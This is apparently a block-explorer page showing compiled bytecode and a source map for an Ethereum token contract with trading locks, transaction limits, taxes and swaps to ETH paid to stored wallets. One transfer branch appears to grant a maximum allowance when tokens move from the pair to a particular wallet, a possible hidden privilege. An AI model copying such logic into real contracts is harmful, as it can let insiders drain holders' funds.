26020015f205f9054906101000a900460ff16155b15611806576117ee82611bde565b5f4790505f8111156118045761180381611e49565b5b505b50505b5f60019050600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806118a95750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061195a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611959575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b15611967575f9050611afd565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a10575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a28576010546014819055506011546015819055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ad1575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611afc57601254601481905550611ae882611f38565b601354611af591906133fe565b6015819055505b5b611b0985858584611f53565b5050505050565b5f838311158290611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e9190612896565b60405180910390fd5b505f8385611b6591906133fe565b9050809150509392505050565b5f600154821115611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baf906134a1565b60405180910390fd5b5f611bc1611f80565b9050611bd68184611fa990919063ffffffff16565b915050919050565b6001600d60016101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611c1557611c146134bf565b5b604051908082528060200260200182016040528015611c435781602001602082028036833780820191505090505b50905030815f81518110611c5a57611c59612cf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cfe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d229190612da5565b81600181518110611d3657611d35612cf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611189565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dfe9594939291906135a3565b5f604051808303815f87803b158015611e15575f80fd5b505af1158015611e27573d5f803e3d5ffd5b50505050505f600d60016101000a81548160ff02191690831515021790555050565b5f600e5482611e589190613628565b90505f8183611e6791906133fe565b905060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015611ecd573d5f803e3d5ffd5b5060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f32573d5f803e3d5ffd5b50505050565b5f66038d7ea4c6800082611f4c9190613628565b9050919050565b80611f6157611f60611ff2565b5b611f6c84848461202b565b80611f7a57611f79612205565b5b50505050565b5f805f611f8b612219565b91509150611fa28183611fa990919063ffffffff16565b9250505090565b5f611fea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612275565b905092915050565b5f60145414801561200457505f601554145b612029576014546016819055506015546017819055505f6014819055505f6015819055505b565b5f805f805f8061203a876122d6565b9550955095509550955095506120508989612336565b156120605761205f89896123e7565b5b6120b086600a5f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124b790919063ffffffff16565b600a5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061214185600a5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461250090919063ffffffff16565b600a5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061218b8161255d565b6121958483612614565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f291906127f3565b60405180910390a3505050505050505050565b601654601481905550601754601581905550565b5f805f60015490505f670de0b6b3a7640000905061224a670de0b6b3a7640000600154611fa990919063ffffffff16565b82101561226857600154670de0b6b3a7640000935093505050612271565b81819350935050505b9091565b5f80831182906122bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b29190612896565b60405180910390fd5b505f83856122c99190613628565b9050809150509392505050565b5f805f805f805f805f6122ee8a60145460155461264e565b9250925092505f6122fd611f80565b90505f805f61230e8e8787876126e0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156123df575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156124b3576124b281837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611189565b5b5050565b5f6124f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b10565b905092915050565b5f80828461250e919061333d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a906136a2565b60405180910390fd5b8091505092915050565b5f612566611f80565b90505f61257c828461276490919063ffffffff16565b90506125ce81600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461250090919063ffffffff16565b600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612629826001546124b790919063ffffffff16565b60018190555061264481600f5461250090919063ffffffff16565b600f819055505050565b5f805f80612678606461266a888a61276490919063ffffffff16565b611fa990919063ffffffff16565b90505f6126a16064612693888b61276490919063ffffffff16565b611fa990919063ffffffff16565b90505f6126c9826126bb858c6124b790919063ffffffff16565b6124b790919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806126f7858961276490919063ffffffff16565b90505f61270d868961276490919063ffffffff16565b90505f612723878961276490919063ffffffff16565b90505f61274b8261273d85876124b790919063ffffffff16565b6124b790919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612774575f90506127d5565b5f828461278191906136c0565b90508284826127909190613628565b146127d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c790613771565b60405180910390fd5b809150505b92915050565b5f819050919050565b6127ed816127db565b82525050565b5f6020820190506128065f8301846127e4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612843578082015181840152602081019050612828565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128688261280c565b6128728185612816565b9350612882818560208601612826565b61288b8161284e565b840191505092915050565b5f6020820190508181035f8301526128ae818461285e565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128e7826128be565b9050919050565b6128f7816128dd565b8114612901575f80fd5b50565b5f81359050612912816128ee565b92915050565b612921816127db565b811461292b575f80fd5b50565b5f8135905061293c81612918565b92915050565b5f8060408385031215612958576129576128b6565b5b5f61296585828601612904565b92505060206129768582860161292e565b9150509250929050565b5f8115159050919050565b61299481612980565b82525050565b5f6020820190506129ad5f83018461298b565b92915050565b5f6129bd826128be565b9050919050565b6129cd816129b3565b82525050565b5f6020820190506129e65f8301846129c4565b92915050565b5f819050919050565b5f612a0f612a0a612a05846128be565b6129ec565b6128be565b9050919050565b5f612a20826129f5565b9050919050565b5f612a3182612a16565b9050919050565b612a4181612a27565b82525050565b5f602082019050612a5a5f830184612a38565b92915050565b5f805f60608486031215612a7757612a766128b6565b5b5f612a8486828701612904565b9350506020612a9586828701612904565b9250506040612aa68682870161292e565b9150509250925092565b5f60ff82169050919050565b612ac581612ab0565b82525050565b5f602082019050612ade5f830184612abc565b92915050565b5f60208284031215612af957612af86128b6565b5b5f612b068482850161292e565b91505092915050565b5f60208284031215612b2457612b236128b6565b5b5f612b3184828501612904565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612b5b57612b5a612b3a565b5b8235905067ffffffffffffffff811115612b7857612b77612b3e565b5b602083019150836020820283011115612b9457612b93612b42565b5b9250929050565b612ba481612980565b8114612bae575f80fd5b50565b5f81359050612bbf81612b9b565b92915050565b5f805f60408486031215612bdc57612bdb6128b6565b5b5f84013567ffffffffffffffff811115612bf957612bf86128ba565b5b612c0586828701612b46565b93509350506020612c1886828701612bb1565b9150509250925092565b612c2b816128dd565b82525050565b5f602082019050612c445f830184612c22565b92915050565b5f8060408385031215612c6057612c5f6128b6565b5b5f612c6d85828601612904565b9250506020612c7e85828601612904565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612cbc602083612816565b9150612cc782612c88565b602082019050919050565b5f6020820190508181035f830152612ce981612cb0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d54826127db565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d8657612d85612d1d565b5b600182019050919050565b5f81519050612d9f816128ee565b92915050565b5f60208284031215612dba57612db96128b6565b5b5f612dc784828501612d91565b91505092915050565b5f604082019050612de35f830185612c22565b612df06020830184612c22565b9392505050565b5f819050919050565b5f612e1a612e15612e1084612df7565b6129ec565b6127db565b9050919050565b612e2a81612e00565b82525050565b5f60c082019050612e435f830189612c22565b612e5060208301886127e4565b612e5d6040830187612e21565b612e6a6060830186612e21565b612e776080830185612c22565b612e8460a08301846127e4565b979650505050505050565b5f81519050612e9d81612918565b92915050565b5f805f60608486031215612eba57612eb96128b6565b5b5f612ec786828701612e8f565b9350506020612ed886828701612e8f565b9250506040612ee986828701612e8f565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f4d602683612816565b9150612f5882612ef3565b604082019050919050565b5f6020820190508181035f830152612f7a81612f41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612fdb602483612816565b9150612fe682612f81565b604082019050919050565b5f6020820190508181035f83015261300881612fcf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613069602283612816565b91506130748261300f565b604082019050919050565b5f6020820190508181035f8301526130968161305d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6130f7602583612816565b91506131028261309d565b604082019050919050565b5f6020820190508181035f830152613124816130eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613185602383612816565b91506131908261312b565b604082019050919050565b5f6020820190508181035f8301526131b281613179565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613213602983612816565b915061321e826131b9565b604082019050919050565b5f6020820190508181035f83015261324081613207565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f6132a1603f83612816565b91506132ac82613247565b604082019050919050565b5f6020820190508181035f8301526132ce81613295565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613309601c83612816565b9150613314826132d5565b602082019050919050565b5f6020820190508181035f830152613336816132fd565b9050919050565b5f613347826127db565b9150613352836127db565b925082820190508082111561336a57613369612d1d565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6133ca602383612816565b91506133d582613370565b604082019050919050565b5f6020820190508181035f8301526133f7816133be565b9050919050565b5f613408826127db565b9150613413836127db565b925082820390508181111561342b5761342a612d1d565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f61348b602a83612816565b915061349682613431565b604082019050919050565b5f6020820190508181035f8301526134b88161347f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61351e816128dd565b82525050565b5f61352f8383613515565b60208301905092915050565b5f602082019050919050565b5f613551826134ec565b61355b81856134f6565b935061356683613506565b805f5b8381101561359657815161357d8882613524565b97506135888361353b565b925050600181019050613569565b5085935050505092915050565b5f60a0820190506135b65f8301886127e4565b6135c36020830187612e21565b81810360408301526135d58186613547565b90506135e46060830185612c22565b6135f160808301846127e4565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613632826127db565b915061363d836127db565b92508261364d5761364c6135fb565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61368c601b83612816565b915061369782613658565b602082019050919050565b5f6020820190508181035f8301526136b981613680565b9050919050565b5f6136ca826127db565b91506136d5836127db565b92508282026136e3816127db565b915082820484148315176136fa576136f9612d1d565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61375b602183612816565b915061376682613701565b604082019050919050565b5f6020820190508181035f8301526137888161374f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da8553d6b590cd0c5c891a8c8f1bf10653650b5d172acb8693aafa8071f2ac5c64736f6c63430008140033

Deployed Bytecode Sourcemap

4185:13510:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4605:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7285:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8432:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4746:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4885:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4802:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7708:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8633:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7140:137;;;;;;;;;;;;;:::i;:::-;;7471:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4675:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12949:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7562:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4030:148;;;;;;;;;;;;;:::i;:::-;;12667:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6583:518;;;;;;;;;;;;;:::i;:::-;;3564:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7376:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4979:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8225:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4850:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7811:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3778:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4605:57;;;;:::o;7285:83::-;7322:13;7355:5;;;;;;;;;;;;;;;;;7348:12;;7285:83;:::o;8432:193::-;8534:4;8556:39;8565:12;:10;:12::i;:::-;8579:7;8588:6;8556:8;:39::i;:::-;8613:4;8606:11;;8432:193;;;;:::o;4746:47::-;;;;:::o;4885:87::-;;;;;;;;;;;;;:::o;4802:41::-;;;;;;;;;;;;;:::o;7708:95::-;7761:7;4464:11;7781:14;;7708:95;:::o;8633:446::-;8765:4;8782:36;8792:6;8800:9;8811:6;8782:9;:36::i;:::-;8829:220;8852:6;8873:12;:10;:12::i;:::-;8900:138;8956:6;8900:138;;;;;;;;;;;;;;;;;:11;:19;8912:6;8900:19;;;;;;;;;;;;;;;:33;8920:12;:10;:12::i;:::-;8900:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8829:8;:220::i;:::-;9067:4;9060:11;;8633:446;;;;;:::o;7140:137::-;3701:12;:10;:12::i;:::-;3691:22;;:6;;;;;;;;;;:22;;;3683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4464:11:::1;7197:20;:30;;;;4464:11;7238:21;:31;;;;7140:137::o:0;7471:83::-;7512:5;4421:1;7530:16;;7471:83;:::o;4675:58::-;;;;:::o;12949:130::-;3701:12;:10;:12::i;:::-;3691:22;;:6;;;;;;;;;;:22;;;3683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13053:18:::1;13036:14;:35;;;;12949:130:::0;:::o;7562:138::-;7628:7;7655:37;7675:7;:16;7683:7;7675:16;;;;;;;;;;;;;;;;7655:19;:37::i;:::-;7648:44;;7562:138;;;:::o;4030:148::-;3701:12;:10;:12::i;:::-;3691:22;;:6;;;;;;;;;;:22;;;3683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4137:1:::1;4100:40;;4121:6;::::0;::::1;;;;;;;;4100:40;;;;;;;;;;;;4168:1;4151:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4030:148::o:0;12667:230::-;3701:12;:10;:12::i;:::-;3691:22;;:6;;;;;;;;;;:22;;;3683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12780:9:::1;12776:114;12799:8;;:15;;12795:1;:19;12776:114;;;12870:8;12836:18;:31;12855:8;;12864:1;12855:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12836:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;12816:3;;;;;:::i;:::-;;;;12776:114;;;;12667:230:::0;;;:::o;6583:518::-;3701:12;:10;:12::i;:::-;3691:22;;:6;;;;;;;;;;:22;;;3683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6668:15:::1;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6650:55;;;6714:4;6721:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6650:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6636:11;;:108;;;;;;;;;;;;;;;;;;6755:68;6772:4;6787:15;;;;;;;;;;;6805:17;6755:8;:68::i;:::-;6836:15;;;;;;;;;;;:31;;;6875:21;6920:4;6940:24;6958:4;6940:9;:24::i;:::-;6979:1;6996::::0;7013:7:::1;:5;:7::i;:::-;7035:15;6836:225;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7089:4;7072:14;;:21;;;;;;;;;;;;;;;;;;6583:518::o:0;3564:79::-;3602:7;3629:6;;;;;;;;;;;3622:13;;3564:79;:::o;7376:87::-;7415:13;7448:7;;;;;;;;;;;;;;;;;7441:14;;7376:87;:::o;4979:93::-;;;;;;;;;;;;;:::o;8225:199::-;8330:4;8352:42;8362:12;:10;:12::i;:::-;8376:9;8387:6;8352:9;:42::i;:::-;8412:4;8405:11;;8225:199;;;;:::o;4850:26::-;;;;;;;;;;;;;:::o;7811:184::-;7928:7;7960:11;:18;7972:5;7960:18;;;;;;;;;;;;;;;:27;7979:7;7960:27;;;;;;;;;;;;;;;;7953:34;;7811:184;;;;:::o;3778:244::-;3701:12;:10;:12::i;:::-;3691:22;;:6;;;;;;;;;;:22;;;3683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3887:1:::1;3867:22;;:8;:22;;::::0;3859:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3977:8;3948:38;;3969:6;::::0;::::1;;;;;;;;3948:38;;;;;;;;;;;;4006:8;3997:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3778:244:::0;:::o;3111:98::-;3164:7;3191:10;3184:17;;3111:98;:::o;9087:369::-;9231:1;9214:19;;:5;:19;;;9206:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9312:1;9293:21;;:7;:21;;;9285:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9394:6;9364:11;:18;9376:5;9364:18;;;;;;;;;;;;;;;:27;9383:7;9364:27;;;;;;;;;;;;;;;:36;;;;9432:7;9416:32;;9425:5;9416:32;;;9441:6;9416:32;;;;;;:::i;:::-;;;;;;;;9087:369;;;:::o;13087:2450::-;13225:1;13209:18;;:4;:18;;;13201:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13302:1;13288:16;;:2;:16;;;13280:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13346:18;13367:21;13346:42;;13416:1;13407:6;:10;13399:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13497:18;:22;13516:2;13497:22;;;;;;;;;;;;;;;;;;;;;;;;;13496:23;:52;;;;;13524:18;:24;13543:4;13524:24;;;;;;;;;;;;;;;;;;;;;;;;;13523:25;13496:52;13477:1363;;;13613:14;;;;;;;;;;;13608:209;;13686:7;:5;:7::i;:::-;13678:15;;:4;:15;;;13648:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;13608:209;13869:20;;13859:6;:30;;13833:120;;;;;;;;;;;;:::i;:::-;;;;;;;;;13991:11;;;;;;;;;;;13985:17;;:2;:17;;;13982:169;;14056:21;;14047:6;14031:13;14041:2;14031:9;:13::i;:::-;:22;;;;:::i;:::-;:46;14023:112;;;;;;;;;;;;:::i;:::-;;;;;;;;;13982:169;14167:27;14197:24;14215:4;14197:9;:24::i;:::-;14167:54;;14248:12;14286:14;;14263:19;:37;;14248:52;;14341:20;;14318:19;:43;14315:90;;14385:20;;14363:42;;14315:90;14424:7;:37;;;;;14454:7;;;;;;;;;;;14453:8;14424:37;:71;;;;;14483:12;;;;;;;;;;;14424:71;:112;;;;;14525:11;;;;;;;;;;;14517:19;;:4;:19;;;;14424:112;:157;;;;;14559:18;:22;14578:2;14559:22;;;;;;;;;;;;;;;;;;;;;;;;;14558:23;14424:157;:204;;;;;14604:18;:24;14623:4;14604:24;;;;;;;;;;;;;;;;;;;;;;;;;14603:25;14424:204;14420:409;;;14663:29;14672:19;14663:8;:29::i;:::-;14711:18;14732:21;14711:42;;14789:1;14776:10;:14;14772:42;;;14793:19;14801:10;14793:7;:19::i;:::-;14772:42;14644:185;14420:409;13560:1280;;13477:1363;14852:12;14867:4;14852:19;;14887:18;:24;14906:4;14887:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;14915:18;:22;14934:2;14915:22;;;;;;;;;;;;;;;;;;;;;;;;;14887:50;14886:98;;;;14951:11;;;;;;;;;;;14943:19;;:4;:19;;;;:40;;;;;14972:11;;;;;;;;;;;14966:17;;:2;:17;;;;14943:40;14886:98;14882:587;;;15011:5;15001:15;;14882:587;;;15069:11;;;;;;;;;;;15061:19;;:4;:19;;;:53;;;;;15098:15;;;;;;;;;;;15084:30;;:2;:30;;;;15061:53;15058:177;;;15154:16;;15135;:35;;;;15206:13;;15189:14;:30;;;;15058:177;15259:11;;;;;;;;;;;15253:17;;:2;:17;;;:53;;;;;15290:15;;;;;;;;;;;15274:32;;:4;:32;;;;15253:53;15249:209;;;15346:17;;15327:16;:36;;;;15416:26;15431:10;15416:14;:26::i;:::-;15399:14;;:43;;;;:::i;:::-;15382:14;:60;;;;15249:209;14882:587;15479:50;15503:4;15509:2;15513:6;15521:7;15479:23;:50::i;:::-;13190:2347;;13087:2450;;;:::o;448:224::-;568:7;601:1;596;:6;;604:12;588:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;628:9;644:1;640;:5;;;;:::i;:::-;628:17;;663:1;656:8;;;448:224;;;;;:::o;11897:323::-;11992:7;12050;;12039;:18;;12017:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;12138:19;12160:10;:8;:10::i;:::-;12138:32;;12188:24;12200:11;12188:7;:11;;:24;;;;:::i;:::-;12181:31;;;11897:323;;;:::o;15545:474::-;5956:4;5946:7;;:14;;;;;;;;;;;;;;;;;;15614:21:::1;15652:1;15638:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15614:40;;15683:4;15665;15670:1;15665:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15709:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15699:4;15704:1;15699:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;15742:62;15759:4;15774:15;;;;;;;;;;;15792:11;15742:8;:62::i;:::-;15815:15;;;;;;;;;;;:66;;;15896:11;15922:1;15938:4;15965;15985:15;15815:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15603:416;5993:5:::0;5983:7;;:15;;;;;;;;;;;;;;;;;;15545:474;:::o;12228:258::-;12280:20;12312:11;;12303:6;:20;;;;:::i;:::-;12280:43;;12334:23;12369:12;12360:6;:21;;;;:::i;:::-;12334:47;;12392:10;;;;;;;;;;;:19;;:33;12412:12;12392:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12436:16;;;;;;;;;;;:25;;:42;12462:15;12436:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12269:217;;12228:258;:::o;11145:103::-;11203:7;11236:4;11230:3;:10;;;;:::i;:::-;11223:17;;11145:103;;;:::o;16027:349::-;16191:6;16186:51;;16214:11;:9;:11::i;:::-;16186:51;16247:47;16268:6;16276:9;16287:6;16247:20;:47::i;:::-;16310:6;16305:64;;16345:12;:10;:12::i;:::-;16305:64;16027:349;;;;:::o;10010:164::-;10052:7;10073:15;10090;10109:19;:17;:19::i;:::-;10072:56;;;;10146:20;10158:7;10146;:11;;:20;;;;:::i;:::-;10139:27;;;;10010:164;:::o;1301:132::-;1359:7;1386:39;1390:1;1393;1386:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1379:46;;1301:132;;;;:::o;17258:247::-;17322:1;17302:16;;:21;:44;;;;;17345:1;17327:14;;:19;17302:44;17348:7;17298:57;17386:16;;17365:18;:37;;;;17432:14;;17413:16;:33;;;;17467:1;17448:16;:20;;;;17496:1;17479:14;:18;;;;17258:247;:::o;16560:686::-;16710:15;16740:23;16778:12;16805:23;16843:12;16870:13;16897:19;16908:7;16897:10;:19::i;:::-;16695:221;;;;;;;;;;;;16922:33;16937:6;16945:9;16922:14;:33::i;:::-;16918:72;;;16957:33;16972:6;16980:9;16957:14;:33::i;:::-;16918:72;17019:28;17039:7;17019;:15;17027:6;17019:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;17001:7;:15;17009:6;17001:15;;;;;;;;;;;;;;;:46;;;;17079:39;17102:15;17079:7;:18;17087:9;17079:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;17058:7;:18;17066:9;17058:18;;;;;;;;;;;;;;;:60;;;;17129: